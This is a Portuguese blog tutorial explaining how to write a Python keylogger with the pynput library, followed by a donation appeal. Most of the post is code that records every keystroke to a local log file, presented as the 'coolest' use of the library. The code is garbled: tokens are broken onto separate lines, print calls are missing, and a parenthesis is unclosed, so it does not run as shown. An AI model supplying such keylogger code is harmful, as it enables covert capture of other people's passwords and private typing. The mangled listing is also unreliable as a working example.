Como usar o pynput para fazer um Keylogger?
Pré-requisitos: linguagem de programação Python
O pacote pynput.keyboard contém classes para controlar e monitorar o teclado. pynput é a biblioteca do Python que pode ser usada para capturar entradas do teclado, e o uso mais legal disso pode estar na criação de keyloggers. O código para o keylooger é fornecido abaixo.
Módulos necessários
pynput: Para instalar o pynput digite o comando abaixo no terminal.
pip install pynput
Abaixo está a implementação:
import
pynput
from
pynput.keyboard
import
Key, Listener
keys
=
[]
def
on_press(key):
keys.append(key)
write_file(keys)
try
:
(
'alphanumeric key {0} pressed'
.
format
(key.char))
except
AttributeError:
(
'special key {0} pressed'
.
format
(key))
def
write_file(keys):
with
open
(
'log.txt'
,
'w'
) as f:
for
key
in
keys:
k
=
str
(key).replace(
"'"
, "")
f.write(k
f.write(
' '
)
def
on_release(key):
(
'{0} released'
.
format
(key))
if
key
=
=
Key.esc:
return
False
with Listener(on_press
=
on_press,
on_release
=
on_release) as listener:
listener.join()
Resultado:
As postagens do blog Acervo Lima te ajudaram? Nos ajude a manter o blog no ar!
Faça uma doação para manter o blog funcionando.
70% das doações são no valor de R$ 5,00...
Diógenes Lima da Silva